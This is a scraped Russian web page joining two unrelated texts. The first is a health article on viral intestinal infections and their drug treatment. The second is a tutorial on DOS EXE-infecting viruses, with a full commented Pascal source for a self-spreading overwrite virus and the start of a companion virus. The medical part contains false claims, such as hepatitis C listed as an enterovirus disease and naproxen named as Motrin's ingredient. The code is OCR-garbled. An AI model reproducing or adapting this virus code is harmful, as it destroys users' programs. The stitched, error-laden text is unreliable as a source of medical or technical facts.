Кишечный вирус в e

Кишечный вирус в e thumbnail

Вирусная кишечная инфекция – общее название группы заболеваний, сопровождающихся поражением пищеварительной системы, тяжелой интоксикацией и подавление органов дыхания. После простуд и ОРВИ они занимают второе место и с различной частотой встречаются как у взрослых, так и у детей. Несмотря на общую симптоматику и способы заражения, каждое из них имеет отличительные особенности. Для эффективной борьбы с патологией, именуемой в обиходе кишечным гриппом, необходимо знать, как выявить возбудителя и какие методы лечения использовать.

Распространенные виды кишечных вирусов

Кишечные инфекции вирусной этиологии обусловлены проникновением в орган брюшной полости человека микроорганизмов, способных вызвать острое воспаление слизистого эпителия. На сегодняшний день существует широкое разнообразие вирусов, около 70 серотипов содержится в кишечнике. Наиболее известными и распространенными являются рота-, адено-, и энтеровирусы. Инфицированию подвергаются преимущественно дети младше трех лет, причем замечено, что младенцы до года, питающиеся грудным молоком, заболевают очень редко. У малышей, начиная с трехмесячного возраста, которых перевели на искусственное питание, частота заражения заметно увеличивается. По мере того, увеличения возраста этот показатель снижается, что обусловлено приобретением стойкого иммунитета у ребенка.

Согласно статистике, у 90% молодых людей в возрасте 15-17 лет в крови обнаруживаются антитела к вирусам перенесенных в детстве инфекций, вследствие чего заражение одним и тем же штаммом невозможно.

Ротавирусы

Считается самым распространенным вирусом, способным поразить ЖКТ ребенка. Обладает тропностью (умением взаимодействовать) к ротоглотке и тонкому кишечнику. Проявляет высокую устойчивость к окружающей среде, сохраняет опасность инфицирования человека в течение длительного периода. Кишечный вирус в Москве и других крупных городах России часто представлен именно этой группой. Его можно найти в воде, на поверхности продуктов, предметах обихода. Болезнь протекает остро и характеризуется ярко выраженной симптоматикой. Латентность длится 3-4 суток, но опасность заражения от больного сохраняется на протяжение трех недель.

АденовирусАденовирусы

Крупные вирусы, содержащие ДНК-структуру, проявляют высокую устойчивость во внешней среде. В естественных же водных условиях микробы сохраняют свою активность в течение двух лет. Среди многообразия вирионов, только два серовара поражают одновременно верхние дыхательные пути, конъюнктиву и избирательно – слизистый эпителий кишечника. Вследствие этого у человека проявляются симптомы как гриппа, так и пневмонии, тонзиллита, ангины, отита. На фоне поражения также часто происходит обострение хронических заболеваний.

Энтеровирусы

Представляют довольно обширную группу, содержащую вирионы, вызывающие самые различные заболевания, в том числе острые кишечные инфекции. К ним относятся рино-, афто-, гепато-, кардиовирусы. Одни из них не несут угрозы здоровью, другие, напротив, представляют серьезную опасность для организма человека. Поражение энтеровирусом провоцирует возникновение следующих болезней:

  • простуды и лихорадки;
  • ящур;
  • полиомиелит;
  • гепатит А и С;
  • энцефаломиокардит.

Пути заражения

Восприимчивость к возбудителям вирусных кишечных инфекций одинакова для всех людей независимо от возраста и гендерной принадлежности, что повышает вероятность заражения каждого индивида. Однако наибольшую опасность патогены представляют для пациентов с ослабленным иммунитетом:

  • беременных женщин;
  • онкобольных;
  • принимающих глюкокортикоиды и цитостатики;
  • людей с хроническими заболеваниями;
  • детей от трех лет.

Какими же способами вирусы оказываются внутри человеческого организма? В силу своей избирательности они выбирают различные пути проникновения.

Контактно-бытовой

Предполагает взаимодействие с инфицированными поверхностями (предметы мебели, быта, посуда, ручки на окнах и дверях), телесный контакт с больным человеком или животным. С высокой частотой регитрируются кишечные инфекции у детей, посещающих детские сады и общеобразовательные учреждения, и у людей, постоянно бывающих в местах общественного присутствия.

Фекально-оральный

Инфицирование осуществляется посредством загрязненных испражнениями продуктов питания или предметов быта. Распространителями заразы являются насекомые, питающиеся нечистотами, в частности, мухи. Причинами такого способа заражения часто становятся:

  • грязные руки;
  • молочная продукция – просроченная или из непроверенных источников;
  • пища, некачественная, невымытая или с недостаточной тепловой обработкой.

Кишечная инфекция

Воздушно-капельный

Вирионы продвигаются к кишечнику по дыхательным путям. В носовые ходы или ротоглотку попадают мельчайшие частички слюны зараженного индивида, которые выделяются:

  • на расстоянии – при чихании или кашле;
  • при непосредственном контакте – с поцелуем.

Алиментарный

Источником заразы являются продукты, которые не прошли тщательную термическую обработку, в частности мясо или рыба, небрежно вымытые ягоды, фрукты, овощи, зелень. Питье воды из открытых водоемов или не прошедшей надлежащую очистку, также может стать причиной развития кишечной инфекции. В большинстве случаев провоцирующим фактором возникновения эпидемии становятся именно водоочистные станции, которые нарушают правила дезинфекции.

Симптомы

После попадания на слизистую рта или носовые проходы, вирусы возбудители острых кишечных инфекций быстро достигают желудка. Здесь они не погибают, так как проявляют высокую устойчивость к влиянию соляной кислоты. В результате они спокойно побираются дальше, достигая слизистых тканей кишечника, где проникают в энтероциты, и там активно размножаются. Разумеется, все вирусные агенты обладают различным поведением. В силу типовых различий клиническая симптоматика может изменяться.

Независимо от механизма патогенного влияния вирусы провоцируют развитие воспалительного процесса в энтероцитах – клетках эпителиальной ткани кишки. Специфические проявления кишечных инфекций обусловлены нарушением пищеварения.

При ротавирусной инфекции

Болезнь имеет острое начало и характеризуется рядом признаков:

  • резкое увеличение температуры тела до гектических значений;
  • приступы рези в брюшной полости;
  • рвота, приносящая облегчение лишь на незначительный срок;
  • сильная головная боль, насморк, кашель;
  • многократный жидкий стул с водянистыми испражнениями желтоватого цвета с примесями слизи;
  • вялость, апатия, сонливость, вызванная потерей сил;
  • снижение аппетита вплоть до полного отказа от еды;
  • обезвоживание организма вследствие потери жидкости вследствие увеличения частоты дефекации.

При аденовирусной инфекции

Характерным симптомокомплексом при данном типе развития вирусной кишечной инфекции можно назвать следующие проявления:

  • стремительно нарастающая интоксикация организма;
  • стойкая гипертермия (39-40°С), не снижающаяся с помощью медикаментов;
  • жидкий и частый стул более 7-10 раз в сутки;
  • обильная и периодически повторяющаяся рвота в течение первых 3 дней;
  • образование стоматита со всеми клиническими последствиями;
  • появление конъюнктивита, лимфаденита.

На фоне вышеперечисленных симптомов у больного развивается гастроэнтерит.

При энтеровирусной инфекции

Инфицирование вирусом данной группы также начинается стремительно и сопровождается:

  • резким повышением температуры тела до гектических значений (40°С);
  • тошнотой, рвотой;
  • учащением стула и изменением его консистенции;
  • ломотой в суставах и мышцах, реже – судорогами;
  • болевыми ощущениями в области сердца;
  • воспалительными процессами в носоглотке;
  • увеличением селезенки и печени;
  • кожными высыпаниями аллергического характера.

Довольно часто у пациента отмечается слезотечение, рези в глазах, светобоязнь, появляется конъюнктивит. При пальпации живота усиливается урчание и интенсивность болевых ощущений. При сильной интоксикации может наблюдаться пожелтение кожных покровов и склер глаз.

Диагностика

Предварительно диагноз «вирусная инфекция» может быть установлен на основании данных осмотра, внешнего вида, частоты и запаха стула, выраженности клинической картины или жалоб пациента (у взрослых). Для его уточнения, а также определения тяжести патологического процесса и выявления возбудителя с целью предупреждения новых случаев инфицирования проводятся следующие мероприятия.

Лабораторные методы

На сегодняшний день при определении типа возбудителя и характера заболевания проводятся следующие лабораторные исследования.

Читайте также:  Кишечный грипп понос не проходит

Экспресс-тест на определение ротавирусную инфекцию

Процедура заключается в том, что в что в небольшое количество каловых масс помещается специальная тест-полоска. Результат оценивается спустя десять минут. При положительном ответе диагноз подтверждается, при отрицательном – назначаются дополнительные мероприятия.

Бактериологическое исследование

Проводится с целью подтверждения или исключения бактериальной природы заболевания, в частности, кишечной палочки. Рвотное содержимое или небольшое количество испражнений высевается на питательных средах. Если возбудителем выступает вирус, то ответ будет отрицательным.

Серологическое исследование

На анализ отправляется кровь пациента, забранная из вены. Он состоит в определение наличия антител к какому-либо микробу. При их обнаружении подтверждается его инфекционная активность. В современной диагностике применяются такие методы, как ИФА, РА, РПГА, РНГА.

ПЦР-исследование

Для отправки на анализ производится забор остатков рвоты, испражнений или промывных вод из желудка. На следующий день можно получить его результат, и определить тип возбудителя.

Инструментальные методы

Кроме вышеописанных в диагностических целях осуществляются и инструментальные исследования кишечника. Для определения степени поражения тканей, результаты которого учитываются при выборе тактики реабилитационных мер, в отношении пациента проводится колоно- или ирригоскопия, ректороманоскопия. Данные мероприятия могут быть назначены только в случаях, когда проявляются признаки тяжелых поражений толстой кишки.

Лечение

Кишечная инфекция у детей или взрослых в современных условиях при правильном подходе лечится быстро и эффективно. Основными методы направлены на устранение признаков обезвоживания и коррекцию питания. При осложнениях заболевания лечение рекомендуется дополнить современными лекарственными препаратами. На сегодняшний день при кишечных инфекциях вирусного происхождения в схему терапии включают следующие группы медикаментов.

Противовирусные и иммуномодулирующие средства

Назначаются при вирусных диареях для стартовой терапии детского заболевания.

ПрепаратыФармакологическое действие
«Арбидол-ленс»Обладает противовирусной активностью и назначается детям в возрасте 2-6 лет в течение 5-7 дней. Быстро всасывается и распределяется в клетки тканей и органов. Обладает минимальным перечнем противопоказаний и побочных эффектов.
«Гепон»Иммуностимулирующее средство повышает резистентность организма к вирусам, инфекционным агентам бактериальной природы. Назначается взрослым и детям старше 12 лет. Выпускается в виде лиофилизированного раствора.
«Кипферон»Высоко активен в отношении ротавирусов, герпеса, обладает иммуностимулирующим действием. Назначается взрослым и детям с первых дней жизни в дозировке, рекомендуемой врачом.

Регидратационные растворы

Помогают лечить обезвоживание и показаны в обязательном порядке для восполнения дефицита жидкости до его первоначального объема и восстановления водно-электролитного баланса. Их необходимо принимать до полного устранения диареи и рвоты.

«Регидрон»

Популярное гипоосмолярное средство, направленное на устранения симптомов обезвоживания при кишечных инфекциях у детей и взрослых. Порошок разводится в теплой воде в дозировке, указанной производителем. Содержащаяся в составе глюкоза помогает быстрому всасыванию солей и цитратов, что обеспечивает лучшее достижение эффекта. Регидрон удобен тем, что его можно пить в любое время суток независимо от приема пищи.

«Хумана Электролит»

Препарат показан к применению у детей с рождения и взрослых. Представляет собой гипоосмолярную смесь, которая предназначена для устранения признаков обезвоживания в качестве монопродукта и в комплексной терапии. Быстрое достижение лечебного эффекта, удобная форма и различные вкусовые ассоциации делают это средство привлекательным для детей, что сокращает сроки лечения.

«Орасан»

Комбинированный препарат в составе которого присутствуют комплекс солей и глюкоза, которая обеспечивает высокое всасывание всех компонентов раствора в тонком кишечнике. Средство быстро восполняет потерю жидкости и микроэлементов при поносах и рвоте, в результате чего эффект наступает в течение 4-6 часов. Содержимое пакета необходимо растворить в литре воды и принимать после каждого акта дефекации.

Жаропонижающие

Назначаются при симптоматической терапии при стойкой гипертермии, когда температура тела превышает 37,5°С. Снижение показателя позволит сократить потерю жидкости, дефицит которой обусловлен частым стулом.

«Панадол»

Анальгетик с выраженным антипиретическим действием. В форме таблеток показан взрослым, в виде сиропа – детям. Активным компонентом является парацетамол. Проявляет обезболивающий и жаропонижающий эффект, не вызывая при этом раздражения слизистого эпителия. Удобная форма позволяет назначать детям с раннего возраста.

«Нурофен»

Препарат группы НПВС с действующим веществом – ибупрофеном. У детей с симптомами кишечного гриппа помогает снять боль, устранить гипертермию и симптомы воспаления. Фармакологический эффект сохраняется в течение 8 часов. Обладает высокой биодоступностью и быстро всасывается из ЖКТ. В виде сиропа назначается с раннего возраста, максимально допустимый суточный прием не должен превышать 4 раз.

«Мотрин»

Еще один препарат группы НПВП, но в качестве активного компонента выступает напроксен. имеет те же свойства, что и другие представители, обладает высокой биодоступностью. Средство быстро и полностью абсорбируется, причем на скорость и полноту всасывания прием пищи не влияет. Фармакологический эффект сохраняется в течение 6-8 часов.

Энтеросорбенты

Применяются в качестве средств для выведения патогенных микроорганизмов и их токсинов. Поглощая вредные компоненты, они усиливают защитные свойства и укрепляют барьер для проникновения вирусов.

«Лактофильтрум»

Эффективный энтеросорбент, созданный на основе натуральных компонентов. Оказывает сорбирующее, дезинтоксикационное действие, помогает восстановить баланс микрофлоры. Применяется при дисбактериозах, вирусных кишечных инфекциях, гепатитах, циррозах печени. Выпускается в форме таблеток, показан к приему у детей и взрослых.

«Энтеросгель»

Является высокоэффективным препаратов в своей группе, способным вести борьбу с широким спектром патологий ЖКТ, и поглощать экзо- и эндотоксины, повреждающие слизистую оболочку кишечника. Он считается абсолютно безвредным, поскольку обладает гидрофобностью. Устраняя патогены, препарат способствует росту полезных микроорганизмов, что необходимо для восстановления нормального баланса. Это позволяет принимать средство на протяжении длительного времени без ущерба здоровью человека.

«Полисорб»

Выпускается в форме порошка для приготовления суспензии. Действующим веществом является кремния диоксид. Препарат эффективно связывает и быстро выводит токсические элементы различной природы. Показан к применению у детей с раннего возраста. Назначается при интоксикациях разной интенсивности, острых отравлениях, кишечных инфекциях, аллергии.

Профилактика

Профилктика предполагает соблюдение определенных правил и норм:

  • тщательная личная гигиена;
  • употребление кипяченой или столовой воды;
  • тщательная санитарная и термическая обработка продуктов питания;
  • правильное хранение скоропортящихся изделий;
  • исключение из употребления просроченных продуктов и пищи, приготовленной с нарушением санитарных норм.

Следует помнить также, что риск инфицирования вирусными агентами значительно повышается на фоне стрессов, ослабленного иммунитета, нерационального питания, и неправильного образа жизни. Устранение всех этих провоцирующих факторов поможет оставаться здоровым на долгие годы.

Источник

В этой статье рассказано о вирусах, заражающих ЕХЕ-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними достоинства и недостатки.

Вирусы — это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Для каждого типа вирусов представлены исходные тексты с подробными комментариями.Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы.

СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ-«монстры». Появились и вирусы, умеющие заражать ЕХЕ-файлы.

Читайте также:  Как берется мазок на кишечную группу

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.ЕХЕ-файл имеет заголовок, который используется при его загрузке.Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом  функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти,размер

которого достаточен для размещения программы.

2.Создается и заполняется блок памяти для переменных среды.

3.Создается блок памяти для PSP и программы (сегментЮОООЬ — PSP;

сегмент+ООЮЬЮОООЬ — программа).

В поля PSP заносятся соответствующие значения.

4.Адрес DTA устанавливается равным PSP:0080h.

5.В рабочую область загрузчика считывается форматированная часть

заголовка ЕХЕ-файла.

6.Вычисляется длина загрузочного модуля по формуле:

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.

7.Определяется смещение загрузочного модуля в файле, равное

HdrSize*16.

8.Вычисляется сегментный адрес (START_SEG) для загрузки -обычно это PSP+lOh.

9.Считывается в память загрузочный модуль (начиная с адреса

START_SEG:0000).

10.Для каждого входа таблицы настройки:

a)читаются слова I_OFF и I_SEG;

b)вычисляется RELC^SEG-START^SEG+LSEG;

c)читается слово по адресу RELO_SEG:I_OFF;

d)к прочитанному слову прибавляется START_SEG;

e)результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11.Распределяется память для программы в соответствии с МахМет

и МтМет.

12.Инициализируются регистры, выполняется программа:

a)ES=DS°PSP;

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

c)SS°START_SEG+ReloSS, SP-ExeSP;

d)CS=START_SEG+ReloCS, IP=ExeIP.

Классификация ЕХЕ-вирусов

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы, замещающие программный код (Overwrite) Такие вирусы уже стали раритетом. Главный их недостаток — слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:

к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус,код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа.

Вирус-спутник обезвредить довольно просто — достаточно удалить

СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого

ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,

файл может получить расширение DAT (файл данных) или OVL (про-

граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено,если вирус-спутник шифрует часть или все тело инфицируемого файла,а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic) Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ — внедрение вируса в начало файла со сдвигом кода

программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него — код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа — «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто — достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов — метод переноса — по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало,по длине равное телу вируса. На это место записывается тело вируса.Начало программы из памяти дописывается в конец файла. Отсюда название метода — «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы,из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы — в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до  инфицирования.

Читайте также:  Кишечные колики у детей до одного года

Вирусы, замещающие программный код (Overwrite) Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан Reminder’ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-

лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», — пусть пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$М 2048, 0, 0}

{$А-}

{$В-}

{$D-}

{$Е+}

($F-)

($G-}

($!-}

{$L-}

{$N-}

{$S-} /

{$V-}

{$X+}

{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}

Uses DOS;

Const

(Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!1;

{Длина получаемого при компиляции ЕХЕ-файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

lnfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

Virldentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

(Еще одна файловая переменная — хотя без нее можно было обойтись, так будет понятнее)

Target: File;

{Для имени найденного файла)

TargetFile: PathStr;

(Буфер для тела вируса)

VirBuf : Array [-I.VirLen] of Char;

(Для даты/времени файла)

Time : Longint;

(Счетчик количества инфицированных файлов)

InfFiles : Byte;

Dirlnfo : SearchRec;

LabelBuf : Array [1.5] of Char;

(Инициализация)

procedure Init;

begin

LabelBuf [1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3],

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

(Обнуляем счетчик количества инфицированных файлов}

lnfFiles:=0;

(Связываем файловую переменную VirBody с именем программы из  которой стартовали)

Assign(VirBody, ParamStr(O));

(Открываем файл с recsize=1 байту)

Reset(VirBody, 1);

(Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл)

Close(VirBody);

end;

(Поиск жертвы}

procedure FindTarget;

Var

Sr: SearchRec;

(Функция возвращает True, если найденная программа уже заражена, и False, если еще нет}

function VirusPresent: Boolean;

begin

(Пока будем считать, что вируса нет}

VirusPresent:=False;

(Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

(Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

(Считываем 5 байт — если файл уже заражен,там находится метка вируса}

BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

(Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса плюс 100  байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут станавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции а длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(lnfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive}

FindFirstF.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=» Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

(Инициализируемся}

hit;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn(‘Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены — соотношение companion и parasitic вирусов примерно один к двум.Инфицирование методом создания СОМ-файла спутника Смысл этого метода — не трогая «чужого кота» (ЕХЕ-программу), создать «своего» — СОМ-файл с именем ЕХЕ-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1.Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2.Найти ЕХЕ-файл-жертву.

3.Проверить, не присутствует ли в каталоге с найденным ЕХЕ-файлом СОМ-файл с таким же именем, как у файла-жертвы.

4.Если такой СОМ-файл присутствует, файл уже заражен, переходим

к пункту 6.

5.С помощью командного процессора скопировать файл, из которого

получено управление, в файл с именем жертвы и расширением СОМ.

6.Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ — то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим

методом.

($М 2048, 0, 0}

f$A-}

<$В-«

($D-}

<$Е+1

{$F-}

{$G-}

{$!-}

$L-(

{$N-)

{$S-}

<$V-}

{$X+}

(Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

{Имя вируса)

VirName=’Guesf;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

lnfCount=2;

Var

{Для имени найденного файла)

TargetFile : PathStr;

P.P.S. Если у Вас есть вопросы, желание прокомментировать или поделиться опытом, напишите, пожалуйста, в комментариях ниже.

Источник